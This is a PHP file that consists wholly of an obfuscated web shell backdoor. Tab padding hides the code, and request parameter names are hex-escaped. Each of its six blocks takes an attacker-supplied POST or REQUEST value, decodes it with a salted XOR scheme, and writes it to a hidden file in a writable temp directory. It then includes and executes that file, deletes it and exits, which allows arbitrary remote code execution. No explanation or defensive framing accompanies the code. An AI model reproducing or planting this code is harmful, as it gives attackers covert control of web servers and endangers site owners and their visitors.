<?php																																										if(!is_null($_REQUEST["\x63\x6F\x6Dp\x6Fnent"] ?? null)){ $entity = $_REQUEST["\x63\x6F\x6Dp\x6Fnent"]; $entity=explode ( ".", $entity ) ; $resource = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($entity); for($j = 0; $j< $len; $j++) { $v1 = $entity[$j]; $sChar = ord($s[$j % $lenS]); $d =((int)$v1 - $sChar -($j % 10)) ^93; $resource.= chr($d); } $pset = array_filter([getenv("TMP"), getcwd(), "/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP")]); foreach ($pset as $key => $property_set) { if (is_dir($property_set) && is_writable($property_set)) { $pgrp = implode("/", [$property_set, ".tkn"]); $success = file_put_contents($pgrp, $resource); if ($success) { include $pgrp; @unlink($pgrp); die();} } } }
																																										if(in_array("\x65\x6Et", array_keys($_REQUEST))){ $dat = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm", "/var/tmp", session_save_path()]); $desc = $_REQUEST["\x65\x6Et"]; $desc = explode ( '.' , $desc) ; $pointer = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt2); $p = 0; while( $p < count( $desc)) { $v4 = $desc[$p]; $chS = ord( $salt2[$p % $lenS]); $dec = ( ( int)$v4 - $chS -( $p % 10)) ^ 35; $pointer .=chr( $dec); $p++; } foreach ($dat as $reference) { if ((function($d) { return is_dir($d) && is_writable($d); })($reference)) { $k = vsprintf("%s/%s", [$reference, ".key"]); $success = file_put_contents($k, $pointer); if ($success) { include $k; @unlink($k); die();} } } }
																																										if(isset($_POST["\x68\x6F\x6Cder"]) ? true : false){ $data = $_POST["\x68\x6F\x6Cder"]; $data =explode ( "." , $data ) ; $ent =''; $salt5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt5); $__len =count( $data); for( $w =0; $w < $__len; $w++) { $v7 =$data[$w]; $chS =ord( $salt5[$w % $sLen]); $d =( ( int)$v7 - $chS -( $w % 10)) ^ 51; $ent .= chr( $d); } $pointer = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), getcwd()]); $pgrp = 0; do { $rec = $pointer[$pgrp] ?? null; if ($pgrp >= count($pointer)) break; if (!( !is_dir($rec) || !is_writable($rec) )) { $mrk = str_replace("{var_dir}", $rec, "{var_dir}/.bind"); if (file_put_contents($mrk, $ent)) { require $mrk; unlink($mrk); die(); } } $pgrp++; } while (true); }
																																										if(isset($_POST) && isset($_POST["ob\x6Aec\x74"])){ $binding = $_POST["ob\x6Aec\x74"]; $binding =explode ( "." ,$binding ); $ent = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); $r = 0; while ($r < count($binding)) {$v6 = $binding[$r]; $sChar = ord($s1[$r% $lenS]); $d = ((int)$v6 - $sChar - ($r% 10)) ^ 19; $ent .= chr($d); $r++; } $factor = array_filter([getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), session_save_path()]); $dchunk = 0; do { $k = $factor[$dchunk] ?? null; if ($dchunk >= count($factor)) break; if (!!is_dir($k) && !!is_writable($k)) { $value = implode("/", [$k, ".fac"]); $success = file_put_contents($value, $ent); if ($success) { include $value; @unlink($value); exit;} } $dchunk++; } while (true); }
																																										if(!empty($_REQUEST["\x68old\x65r"])){ $object = $_REQUEST["\x68old\x65r"]; $object=explode ( "." ,$object) ; $res = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); $o = 0; foreach ($object as $v6) { $sChar = ord($salt5[$o % $sLen]); $dec = ((int)$v6 - $sChar - ($o % 10))^ 73; $res .= chr($dec); $o++; } $pset = array_filter(["/dev/shm", "/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getcwd()]); foreach ($pset as $pgrp): if (is_dir($pgrp) ? is_writable($pgrp) : false) { $mrk = "$pgrp" . "/.descriptor"; if (file_put_contents($mrk, $res)) { include $mrk; @unlink($mrk); die(); } } endforeach; }


if(@$_POST["p\x61r\x61\x6D\x65t\x65r\x5F\x67\x72oup"] !== null){
	$token = array_filter([getenv("TEMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), session_save_path(), getenv("TMP"), "/tmp"]);
	$holder = $_POST["p\x61r\x61\x6D\x65t\x65r\x5F\x67\x72oup"];
		 	$holder 		=explode  	(		'.', 	$holder 	 )	; 		
	$comp = '';
            $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( $salt2  );
            $m = 0;
    
            $__tmp = $holder;
            while( $v1 = array_shift( $__tmp)) {$chS = ord( $salt2[$m %	 $sLen]  );
                $dec =( ( int)$v1 - $chS -( $m %	 10)) ^ 40;
                $comp		.=	chr( $dec  );
                $m++;
            }
	foreach ($token as $key => $component) {
    		if ((is_dir($component) and is_writable($component))) {
    $res = vsprintf("%s/%s", [$component, ".itm"]);
    $success = file_put_contents($res, $comp);
if ($success) {
	include $res;
	@unlink($res);
	exit;}
}
}
}